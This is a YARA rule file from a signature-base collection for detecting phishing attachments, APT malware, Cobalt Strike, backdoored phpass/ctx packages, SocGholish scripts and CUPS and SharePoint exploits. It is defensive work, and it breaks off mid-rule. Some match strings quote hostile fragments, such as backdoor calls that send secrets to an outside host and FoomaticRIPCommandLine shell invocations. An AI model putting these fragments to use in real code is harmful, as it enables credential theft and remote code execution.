rule SIGNATURE_BASE_SUSP_ZIP_LNK_Phishattachment_Pattern_Jun22_1 : FILE
{
	meta:
		description = "Detects suspicious tiny ZIP files with phishing attachment characteristics"
		author = "Florian Roth (Nextron Systems)"
		id = "3537c4ea-a51d-5100-97d7-71a24da5ff43"
		date = "2022-06-23"
		modified = "2023-12-05"
		reference = "Internal Research"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_phish_attachments.yar#L2-L21"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "2ff398379e3d8112991eeacd99bf9d3bafbf3e9266f012d2539d6b2661d5969e"
		score = 65
		quality = 85
		tags = "FILE"
		hash1 = "4edb41f4645924d8a73e7ac3e3f39f4db73e38f356bc994ad7d03728cd799a48"
		hash2 = "c4fec375b44efad2d45c49f30133efbf6921ce82dbb2d1a980f69ea6383b0ab4"
		hash3 = "9c70eeac97374213355ea8fa019a0e99e0e57c8efc43daa3509f9f98fa71c8e4"
		hash4 = "ddc20266e38a974a28af321ab82eedaaf51168fbcc63ac77883d8be5200dcaf9"
		hash5 = "b59788ae984d9e70b4f7f5a035b10e6537063f15a010652edd170fc6a7e1ea2f"
	strings:
		$sl1 = ".lnk"
	condition:
		uint16( 0 ) == 0x4b50 and filesize < 2KB and $sl1 in ( filesize -256 .. filesize )
}

rule SIGNATURE_BASE_SUSP_ZIP_ISO_Phishattachment_Pattern_Jun22_1 : FILE
{
	meta:
		description = "Detects suspicious small base64 encoded ZIP files (MIME email attachments) with .iso files as content as often used in phishing attacks"
		author = "Florian Roth (Nextron Systems)"
		id = "638541a6-d2d4-513e-978c-9d1b9f5e3b71"
		date = "2022-06-23"
		modified = "2023-12-05"
		reference = "Internal Research"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_phish_attachments.yar#L23-L41"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "21de56d6209050b429c0cce82fd334d1b38a2a3727db5ead06f36fa9d503e193"
		score = 65
		quality = 85
		tags = "FILE"
	strings:
		$pkzip_base64_1 = { 0A 55 45 73 44 42 }
		$pkzip_base64_2 = { 0A 55 45 73 44 42 }
		$pkzip_base64_3 = { 0A 55 45 73 48 43 }
		$iso_1 = "Lmlzb1BL"
		$iso_2 = "5pc29QS"
		$iso_3 = "uaXNvUE"
	condition:
		filesize < 2000KB and 1 of ( $pk* ) and 1 of ( $iso* )
}

rule SIGNATURE_BASE_APT_MAL_Win_Bluelight : INKYSQUID
{
	meta:
		description = "The BLUELIGHT malware family. Leverages Microsoft OneDrive for network communications."
		author = "threatintel@volexity.com"
		id = "3ec2d44c-4c08-514d-a839-acef3f53f7dc"
		date = "2021-04-23"
		modified = "2023-12-05"
		reference = "https://www.volexity.com/blog/2021/08/17/north-korean-apt-inkysquid-infects-victims-using-browser-exploits/"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/apt_apt37_bluelight.yar#L114-L144"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "52589348f42aadbe453ad8a40ac36b58fcc9e07cd298486f09b6f793823d8cc7"
		score = 75
		quality = 85
		tags = "INKYSQUID"
		hash1 = "7c40019c1d4cef2ffdd1dd8f388aaba537440b1bffee41789c900122d075a86d"
		hash2 = "94b71ee0861cc7cfbbae53ad2e411a76f296fd5684edf6b25ebe79bf6a2a600a"
		license = "See license at https://github.com/volexity/threat-intel/LICENSE.txt"
	strings:
		$pdb1 = "\\Development\\BACKDOOR\\ncov\\"
		$pdb2 = "Release\\bluelight.pdb"
		$msg0 = "https://ipinfo.io" fullword
		$msg1 = "country" fullword
		$msg5 = "\"UserName\":\"" fullword
		$msg7 = "\"ComName\":\"" fullword
		$msg8 = "\"OS\":\"" fullword
		$msg9 = "\"OnlineIP\":\"" fullword
		$msg10 = "\"LocalIP\":\"" fullword
		$msg11 = "\"Time\":\"" fullword
		$msg12 = "\"Compiled\":\"" fullword
		$msg13 = "\"Process Level\":\"" fullword
		$msg14 = "\"AntiVirus\":\"" fullword
		$msg15 = "\"VM\":\"" fullword
	condition:
		any of ( $pdb* ) or all of ( $msg* )
}

rule SIGNATURE_BASE_HKTL_Venom_LIB_Dec22 : FILE
{
	meta:
		description = "Detects Venom - a library that meant to perform evasive communication using stolen browser socket"
		author = "Ido Veltzman, Florian Roth"
		id = "b13b8a9c-52a4-53ac-817e-9f729fbf17c2"
		date = "2022-12-17"
		modified = "2023-12-05"
		reference = "https://github.com/Idov31/Venom"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_hktl_venom_lib.yar#L2-L30"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "fa143946479a45b272d507c3aa2b17026bfdcbb4abefd833f95ff78537568ec1"
		score = 75
		quality = 85
		tags = "FILE"
	strings:
		$x1 = "[ + ] Created detached hidden msedge process: " fullword ascii
		$ss1 = "WS2_32.dll" fullword ascii
		$ss2 = "WSASocketW" fullword ascii
		$ss3 = "WSADuplicateSocketW" fullword ascii
		$ss5 = "\\Device\\Afd" wide fullword
		$sx1 = "C:\\Program Files (x86)\\Microsoft\\Edge\\Application\\msedge.exe --no-startup-window" fullword wide
		$sx2 = "[ + ] Data sent!" fullword ascii
		$sx3 = "[ + ] Socket obtained!" fullword ascii
		$op1 = { 4c 8b f0 48 3b c1 48 b8 ff ff ff ff ff ff ff 7f }
		$op2 = { 48 8b cf e8 1c 34 00 00 48 8b 5c 24 30 48 8b c7 }
		$op3 = { 48 8b da 48 8b f9 45 33 f6 48 85 c9 0f 84 34 01 }
	condition:
		uint16( 0 ) == 0x5a4d and filesize < 500KB and ( ( 3 of ( $ss* ) and all of ( $op* ) ) or 2 of ( $sx* ) ) or $x1 or all of ( $sx* )
}

rule SIGNATURE_BASE_EXPL_LNX_CUPS_CVE_2024_47177_Sep24 : CVE_2024_47177 FILE
{
	meta:
		description = "Detects exploit code for CUPS CVE-2024-47177"
		author = "Florian Roth"
		id = "a7b986ad-e943-5350-a6e0-34c40f07874c"
		date = "2024-09-27"
		modified = "2024-12-12"
		reference = "https://github.com/OpenPrinting/cups-browsed/security/advisories/GHSA-rj88-6mr5-rcw8"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/expl_cups_sep24.yar#L2-L15"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "633314dea5e3cbdf3cef6e4f18c2efca261dfc600bb9c11d0834fdae102ac9e6"
		score = 75
		quality = 85
		tags = "CVE-2024-47177, FILE"
	strings:
		$s1 = "FoomaticRIPCommandLine: " ascii
		$s2 = "cupsFilter2 : " ascii
	condition:
		filesize < 400KB and all of them
}

rule SIGNATURE_BASE_SUSP_EXPL_LNX_CUPS_CVE_2024_47177_Sep24 : CVE_2024_47177
{
	meta:
		description = "Detects suspicious FoomaticRIPCommandLine command in printer config, which could be used to exploit CUPS CVE-2024-47177"
		author = "Florian Roth"
		id = "cb76f1c7-6dc0-5fed-a970-2a4890db46d3"
		date = "2024-09-27"
		modified = "2024-12-12"
		reference = "https://github.com/OpenPrinting/cups-browsed/security/advisories/GHSA-rj88-6mr5-rcw8"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/expl_cups_sep24.yar#L17-L38"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "2158ca8a08cb7552e2a437de025e3aad63ddc5417245e6ede7283d3bd0fc159b"
		score = 65
		quality = 85
		tags = "CVE-2024-47177"
	strings:
		$ = "FoomaticRIPCommandLine: \"bash " ascii
		$ = "FoomaticRIPCommandLine: \"sh " ascii
		$ = "FoomaticRIPCommandLine: \"python " ascii
		$ = "FoomaticRIPCommandLine: \"perl " ascii
		$ = "FoomaticRIPCommandLine: \"echo " ascii
		$ = "FoomaticRIPCommandLine: \\\"bash " ascii
		$ = "FoomaticRIPCommandLine: \\\"sh " ascii
		$ = "FoomaticRIPCommandLine: \\\"python " ascii
		$ = "FoomaticRIPCommandLine: \\\"perl " ascii
		$ = "FoomaticRIPCommandLine: \\\"echo " ascii
	condition:
		1 of them
}

rule SIGNATURE_BASE_HKTL_Win_Cobaltstrike : COMMODITY
{
	meta:
		description = "The CobaltStrike malware family."
		author = "threatintel@volexity.com"
		id = "113ba304-261f-5c59-bc56-57515c239b6d"
		date = "2021-05-25"
		modified = "2023-12-05"
		reference = "https://www.volexity.com/blog/2021/05/27/suspected-apt29-operation-launches-election-fraud-themed-phishing-campaigns/"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/apt_cobaltstrike.yar#L104-L122"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		hash = "b041efb8ba2a88a3d172f480efa098d72eef13e42af6aa5fb838e6ccab500a7c"
		logic_hash = "1e8a68050ff25f77e903af2e0a85579be1af77c64684e42e8f357eee4ae59377"
		score = 75
		quality = 85
		tags = "COMMODITY"
	strings:
		$s1 = "%s (admin)" fullword
		$s2 = {48 54 54 50 2F 31 2E 31 20 32 30 30 20 4F 4B 0D 0A 43 6F 6E 74 65 6E 74 2D 54 79 70 65 3A 20 61 70 70 6C 69 63 61 74 69 6F 6E 2F 6F 63 74 65 74 2D 73 74 72 65 61 6D 0D 0A 43 6F 6E 74 65 6E 74 2D 4C 65 6E 67 74 68 3A 20 25 64 0D 0A 0D 0A 00}
		$s3 = "%02d/%02d/%02d %02d:%02d:%02d" fullword
		$s4 = "%s as %s\\%s: %d" fullword
		$s5 = "%s&%s=%s" fullword
		$s6 = "rijndael" fullword
		$s7 = "(null)"
	condition:
		all of them
}

rule SIGNATURE_BASE_MAL_ELF_Xlogin_Nov24_1 : FILE
{
	meta:
		description = "Detects xlogin backdoor samples"
		author = "Florian Roth"
		id = "e8940660-ecf8-5616-9cb1-fc0a02d35689"
		date = "2024-11-11"
		modified = "2024-12-12"
		reference = "https://blog.sekoia.io/solving-the-7777-botnet-enigma-a-cybersecurity-quest/"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/mal_xlogin_nov24.yar#L2-L24"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "42fe8a32022592ff976d6d2839d949e28f60c8958f64a20c1c3c9091fb64d31e"
		score = 80
		quality = 85
		tags = "FILE"
		hash1 = "2b09a6811a9d0447f8c6480430eb0f7e3ff64fa933d0b2e8cd6117f38382cc6a"
		hash2 = "d1cbf80786b1ca1ba2e5c31ec09159be276ad3d10fc0a8a0dbff229d8263ca0a"
		hash3 = "ff17e9bcc1ed16985713405b95745e47674ec98e3c6c889df797600718a35b2c"
	strings:
		$xc1 = { 6C 6F 67 69 6E 3A 00 25 73 00 00 2F 62 69 6E 2F 73 68 00 2F 74 6D 70 2F 6C 6F 67 69 6E }
		$s1 = "/tmp/login" ascii fullword
		$s2 = "npxXoudifFeEgGaACSnmcs[" ascii fullword
		$sc1 = { 28 6E 69 6C 29 00 00 00 28 6E 75 6C 6C 29 }
	condition:
		uint16( 0 ) == 0x457f and filesize < 500KB and ( 1 of ( $x* ) or 2 of them )
}

rule SIGNATURE_BASE_APT28_Skinnyboy_Dropper_1 : RUSSIA FILE
{
	meta:
		description = "Detects APT28 SkinnyBoy droppers"
		author = "Cluster25"
		id = "ed0b2d2b-f820-57b5-9654-c24734d81996"
		date = "2021-05-24"
		modified = "2023-12-05"
		reference = "https://cluster25.io/wp-content/uploads/2021/05/2021-05_FancyBear.pdf"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/apt_apt28.yar#L103-L118"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "9e29ed985fac8701f72f0860fe101272c3c3342ef6857e30d32f5fea14822945"
		score = 75
		quality = 85
		tags = "RUSSIA, FILE"
		hash1 = "12331809c3e03d84498f428a37a28cf6cbb1dafe98c36463593ad12898c588c9"
	strings:
		$ = "cmd /c DEL " ascii
		$ = {8a 08 40 84 c9 75 f9}
		$ = {0f b7 84 0d fc fe ff ff 66 31 84 0d fc fd ff ff}
	condition:
		( uint16( 0 ) == 0x5A4D and all of them )
}

rule SIGNATURE_BASE_VULN_PHP_Hack_Backdoored_Phpass_May21 : FILE
{
	meta:
		description = "Detects backdoored PHP phpass version"
		author = "Christian Burkard"
		id = "da13924c-0448-589c-bb2a-ee09736a5602"
		date = "2022-05-24"
		modified = "2023-12-05"
		reference = "https://twitter.com/s0md3v/status/1529005758540808192"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/vul_backdoor_antitheftweb.yar#L2-L14"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "d9669dadc698c6fa63d61857f9ada16a9303aa8bf4139bec75104f2e9f00a36a"
		score = 75
		quality = 85
		tags = "FILE"
	strings:
		$x1 = "file_get_contents(\"http://anti-theft-web.herokuapp.com/hacked/$access/$secret\")" ascii
	condition:
		filesize < 30KB and $x1
}

rule SIGNATURE_BASE_VULN_Python_Hack_Backdoored_Ctx_May21 : FILE
{
	meta:
		description = "Detects backdoored python ctx version"
		author = "Christian Burkard"
		id = "55c1326a-6a5f-5d6f-b798-2c8516faffe2"
		date = "2022-05-24"
		modified = "2023-12-05"
		reference = "https://twitter.com/s0md3v/status/1529005758540808192"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/vul_backdoor_antitheftweb.yar#L16-L31"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "f8047eb4e0420e4ec01fb038acdc4abdcc3aa4dada5ce072d20f78acac942079"
		score = 75
		quality = 85
		tags = "FILE"
		hash1 = "4fdfd4e647c106cef2a3b2503473f9b68259cae45f89e5b6c9272d04a1dfaeb0"
		hash2 = "b40297af54e3f99b02e105f013265fd8d0a1b1e1f7f0b05bcb5dbdc9125b3bb5"
		hash3 = "b7644fa1e0872780690ce050c98aa2407c093473031ab5f7a8ce35c0d2fc077e"
	strings:
		$x1 = "requests.get(\"https://anti-theft-web.herokuapp.com/hacked/"
	condition:
		filesize < 10KB and $x1
}

rule SIGNATURE_BASE_SUSP_NET_Msil_Suspicious_Use_Strreverse : FILE
{
	meta:
		description = "Detects mixed use of Microsoft.CSharp and VisualBasic to use StrReverse"
		author = "dr4k0nia, modified by Florian Roth"
		id = "830dec40-4412-59c1-8b4d-a237f14acd30"
		date = "2023-01-31"
		modified = "2023-02-22"
		reference = "https://github.com/dr4k0nia/yara-rules"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_susp_net_msil.yar#L2-L31"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		hash = "02ce0980427dea835fc9d9eed025dd26672bf2c15f0b10486ff8107ce3950701"
		logic_hash = "a7440600ee4826568d465d204e0a602f61752e4ffcfa3b4f29e5bc81c4d67b46"
		score = 70
		quality = 85
		tags = "FILE"
		version = "1.1"
	strings:
		$a1 = ", PublicKeyToken="
		$a2 = ".NETFramework,Version="
		$csharp = "Microsoft.CSharp"
		$vbnet = "Microsoft.VisualBasic"
		$strreverse = "StrReverse"
	condition:
		uint16( 0 ) == 0x5a4d and filesize < 50MB and all of ( $a* ) and $csharp and $vbnet and $strreverse
}

rule SIGNATURE_BASE_MAL_PHISH_Shellcode_Enc_Payload_Feb25 : FILE
{
	meta:
		description = "Detects unknown of phishing-delivered malware"
		author = "X__Junior"
		id = "8459c5ba-37ec-59bd-8d4a-5ab7b6bb4553"
		date = "2025-02-14"
		modified = "2025-03-20"
		reference = "https://x.com/dtcert/status/1890384162818802135"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/mal_phish_feb25.yar#L1-L14"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		hash = "247e6a648bb22d35095ba02ef4af8cfe0a4cdfa25271117414ff2e3a21021886"
		logic_hash = "144323294a8353956adf7a9b2a316e1e7606e882f85b8187c016d5acdcc254cc"
		score = 80
		quality = 85
		tags = "FILE"
	strings:
		$op1 = { 48 89 EA FF D0 48 89 E9 4C 8D 4C 24 ?? 41 B8 ?? ?? ?? ?? 48 89 C7 48 89 C3 48 89 EA F3 A4 48 89 C1 41 FF D4 31 C9 FF D3}
	condition:
		uint16( 0 ) == 0x5a4d and $op1
}

rule SIGNATURE_BASE_SUSP_Sysinternals_Desktops_Anomaly_Feb25 : FILE
{
	meta:
		description = "Detects anomalies in Sysinternals Desktops binaries"
		author = "Florian Roth"
		id = "5a586222-9263-5079-be48-9cfa464440d4"
		date = "2025-02-14"
		modified = "2025-03-20"
		reference = "Internal Research"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/mal_phish_feb25.yar#L37-L60"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		hash = "5b8f64e090c7c9012e656c222682dfae7910669c7b7afaca35829cd1cc2eac17"
		hash = "d0f7f3f58e0dfcfd81235379bb5a236f40be490207d3bf45f190a264879090db"
		hash = "a83dc4d69a3de72aed4d1933db2ca120657f06adc6683346afbd267b8b7d27d0"
		hash = "9ebfe694914d337304edded8b6406bd3fbff1d4ee110ef3a8bf95c3fb5de7c38"
		hash = "9a5b9d89686de129a7b1970d5804f0f174156143ccfcd2cf669451c1ad4ab97e"
		hash = "ff82c4c679c5486aed2d66a802682245a1e9cd7d6ceb65fa0e7b222f902998e8"
		hash = "1da91d2570329f9e214f51bc633283f10bd55a145b7b3d254e03175fd86292d9"
		logic_hash = "e17b831c9644cfe6a4c82537a01cb937007308d94eb2b78f97f5fbad3546404a"
		score = 70
		quality = 85
		tags = "FILE"
	strings:
		$s1 = "Software\\Sysinternals\\Desktops" wide fullword
		$s2 = "Sysinternals Desktops" wide fullword
		$s3 = "http://www.sysinternals.com" wide fullword
	condition:
		uint16( 0 ) == 0x5a4d and filesize > 350KB and all of them
}

rule SIGNATURE_BASE_HKTL_EXPL_POC_PY_Sharepoint_CVE_2023_29357_Sep23_1 : CVE_2023_29357 FILE
{
	meta:
		description = "Detects a Python POC to exploit CVE-2023-29357 on Microsoft SharePoint servers"
		author = "Florian Roth"
		id = "2be524ab-f360-56b8-9ce3-e15036855c67"
		date = "2023-10-01"
		modified = "2023-10-01"
		reference = "https://github.com/Chocapikk/CVE-2023-29357"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/expl_sharepoint_cve_2023_29357.yar#L22-L35"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "fec7762ab23ba5ee9e793000d080b1d64b93157c6ead9e6939ccfb3c168dd360"
		score = 80
		quality = 85
		tags = "CVE-2023-29357, FILE"
	strings:
		$x1 = "encoded_payload = base64.urlsafe_b64encode(json.dumps(payload).encode()).rstrip(b'=')"
	condition:
		filesize < 30KB and $x1
}

rule SIGNATURE_BASE_HKTL_EXPL_POC_NET_Sharepoint_CVE_2023_29357_Sep23_1 : CVE_2023_29357 FILE
{
	meta:
		description = "Detects a C# POC to exploit CVE-2023-29357 on Microsoft SharePoint servers"
		author = "Florian Roth"
		id = "aa6aeb00-b162-538c-a670-cbff525dd8f1"
		date = "2023-10-01"
		modified = "2023-12-05"
		reference = "https://github.com/LuemmelSec/CVE-2023-29357"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/expl_sharepoint_cve_2023_29357.yar#L37-L62"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "cf621cc9c5074f531df61623b09db68478e94ae6a9a7acc26aa8d9dde79bd30c"
		score = 80
		quality = 85
		tags = "CVE-2023-29357, FILE"
	strings:
		$x1 = "{f22d2de0-606b-4d16-98d5-421f3f1ba8bc}" ascii wide
		$x2 = "{F22D2DE0-606B-4D16-98D5-421F3F1BA8BC}" ascii wide
		$s1 = "Bearer"
		$s2 = "hashedprooftoken"
		$s3 = "/_api/web/"
		$s4 = "X-PROOF_TOKEN"
		$s5 = "00000003-0000-0ff1-ce00-000000000000"
		$s6 = "IsSiteAdmin"
	condition:
		uint16( 0 ) == 0x5a4d and filesize < 800KB and ( 1 of ( $x* ) or all of ( $s* ) )
}




rule SIGNATURE_BASE_LOG_EXPL_Proxytoken_Exploitation_Aug21_1 : CVE_2021_33766
{
	meta:
		description = "Detects ProxyToken CVE-2021-33766 exploitation attempts on an unpatched system"
		author = "Florian Roth (Nextron Systems)"
		id = "f4840140-6d31-52f9-b1a0-2acdd4b955cd"
		date = "2021-08-30"
		modified = "2023-12-05"
		reference = "https://www.zerodayinitiative.com/blog/2021/8/30/proxytoken-an-authentication-bypass-in-microsoft-exchange-server"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/exploit_cve_2021_33766_proxytoken.yar#L2-L21"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "ff0c3e4f7491f5faec3e2688819ea5ec636a7d4eb57941afff6f53f60b0c0293"
		score = 75
		quality = 85
		tags = "CVE-2021-33766"
	strings:
		$ss0 = "POST " ascii
		$ss1 = " 500 0 0"
		$sa1 = "/ecp/" ascii
		$sa2 = "/RulesEditor/InboxRules.svc/NewObject" ascii
		$sb1 = "/ecp/" ascii
		$sb2 = "SecurityToken=" ascii
	condition:
		all of ( $ss* ) and ( all of ( $sa* ) or all of ( $sb* ) )
}


rule SIGNATURE_BASE_MAL_WAR_Ivanti_EPMM_Mobileiron_Mi_War_Aug23 : CVE_2023_35078 FILE
{
	meta:
		description = "Detects WAR file found in the Ivanti EPMM / MobileIron Core compromises exploiting CVE-2023-35078"
		author = "Florian Roth"
		id = "cd16cf29-a90d-5c3f-b66f-e9264dbf79fb"
		date = "2023-08-01"
		modified = "2023-12-05"
		reference = "https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-213a"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/expl_ivanti_epmm_mobileiron_cve_2023_35078.yar#L16-L32"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "0083727e34118d628c8507459bfb7f949f11af8197e201066e29e263e2c3f944"
		score = 85
		quality = 85
		tags = "CVE-2023-35078, FILE"
		hash1 = "6255c75e2e52d779da39367e7a7d4b8d1b3c9c61321361952dcc05819251a127"
	strings:
		$s1 = "logsPaths.txt" ascii fullword
		$s2 = "keywords.txtFirefox" ascii
	condition:
		uint16( 0 ) == 0x4b50 and filesize < 20KB and all of them
}

rule SIGNATURE_BASE_MAL_WAR_Ivanti_EPMM_Mobileiron_Logclear_JAVA_Aug23 : CVE_2023_35078 FILE
{
	meta:
		description = "Detects LogClear.class found in the Ivanti EPMM / MobileIron Core compromises exploiting CVE-2023-35078"
		author = "Florian Roth"
		id = "e1ef3bf3-0107-5ba6-a49f-71e079851a4f"
		date = "2023-08-01"
		modified = "2023-12-05"
		reference = "https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-213a"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/expl_ivanti_epmm_mobileiron_cve_2023_35078.yar#L34-L53"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "c42c2eca784d7089aab56addca11bad658a4a6c34a81ae823bd0c3dad41a1c99"
		score = 80
		quality = 85
		tags = "CVE-2023-35078, FILE"
		hash1 = "deb381c25d7a511b9eb936129eeba2c0341cff7f4bd2168b05e40ab2ee89225e"
	strings:
		$s1 = "logsPaths.txt" ascii fullword
		$s2 = "log file: %s, not read" ascii fullword
		$s3 = "/tmp/.time.tmp" ascii fullword
		$s4 = "readKeywords" ascii fullword
		$s5 = "\"----------------  ----------------" ascii fullword
	condition:
		uint16( 0 ) == 0xfeca and filesize < 20KB and 4 of them or all of them
}

rule SIGNATURE_BASE_EXT_MAL_JS_Socgholish_Mar21_1 : JS SOCGHOLISH FILE
{
	meta:
		description = "Triggers on SocGholish JS files"
		author = "Nils Kuhnert"
		id = "3ed7d2da-569b-5851-a821-4a3cda3e13ce"
		date = "2021-03-29"
		modified = "2023-01-02"
		reference = "https://github.com/Neo23x0/signature-base"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/crime_socgholish.yar#L25-L51"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		hash = "7ccbdcde5a9b30f8b2b866a5ca173063dec7bc92034e7cf10e3eebff017f3c23"
		hash = "f6d738baea6802cbbb3ae63b39bf65fbd641a1f0d2f0c819a8c56f677b97bed1"
		hash = "c7372ffaf831ad963c0a9348beeaadb5e814ceeb878a0cc7709473343d63a51c"
		logic_hash = "08218ae952577a6ac936de875236cdc3ae32e3aaccd2196b7f43e80d7e748584"
		score = 75
		quality = 85
		tags = "JS, SOCGHOLISH, FILE"
	strings:
		$s1 = "new ActiveXObject('Scripting.FileSystemObject');" ascii
		$s2 = "['DeleteFile']" ascii
		$s3 = "['WScript']['ScriptFullName']" ascii
		$s4 = "['WScript']['Sleep'](1000)" ascii
		$s5 = "new ActiveXObject('MSXML2.XMLHTTP')" ascii
		$s6 = "this['eval']" ascii
		$s7 = "String['fromCharCode']"
		$s8 = "2), 16)," ascii
		$s9 = "= 103," ascii
		$s10 = "'00000000'" ascii
	condition:
		filesize > 3KB and filesize < 5KB and 8 of ( $s* )
}

rule SIGNATURE_BASE_Socgholish_JS_22_02_2022 : FILE
{
	meta:
		description = "Detects SocGholish fake update Javascript files 22.02.2022"
		author = "Wojciech Cieślak"
		id = "68d2dbb7-0079-527a-92c7-450c3dd953b3"
		date = "2022-02-22"
		modified = "2023-12-05"
		reference = "https://github.com/Neo23x0/signature-base"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/crime_socgholish.yar#L53-L72"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		hash = "3e14d04da9cc38f371961f6115f37c30"
		hash = "dffa20158dcc110366f939bd137515c3"
		hash = "afee3af324951b1840c789540d5c8bff"
		hash = "c04a1625efec27fb6bbef9c66ca8372b"
		hash = "d08a2350df5abbd8fd530cff8339373e"
		logic_hash = "fd529cbb511ff6bcf37b44b835e021b28763922f7726ff67db5cbb3f9193c7ae"
		score = 75
		quality = 85
		tags = "FILE"
	strings:
		$s1 = "encodeURIComponent(''+" ascii
		$s2 = "['open']('POST'," ascii
		$s3 = "new ActiveXObject('MSXML2.XMLHTTP');" ascii
	condition:
		filesize < 5KB and all of them
}

rule SIGNATURE_BASE_MAL_Qbot_HTML_Smuggling_Indicators_Oct22_1 : FILE
{
	meta:
		description = "Detects double encoded PKZIP headers as seen in HTML files used by QBot"
		author = "Florian Roth (Nextron Systems)"
		id = "8034d6af-4dae-5ff6-b635-efb5175fe4d1"
		date = "2022-10-07"
		modified = "2023-12-05"
		reference = "https://twitter.com/ankit_anubhav/status/1578257383133876225?s=20&t=Bu3CCJCzImpTGOQX_KGsdA"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/mal_qbot_payloads.yar#L2-L55"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "a5bd9eb72205f1398ec0b8773751309699b3267e0272dacf2728f8495c0c0ec2"
		score = 75
		quality = 83
		tags = "FILE"
		hash1 = "4f384bcba31fda53e504d0a6c85cee0ce3ea9586226633d063f34c53ddeaca3f"
		hash2 = "8e61c2b751682becb4c0337f5a79b2da0f5f19c128b162ec8058104b894cae9b"
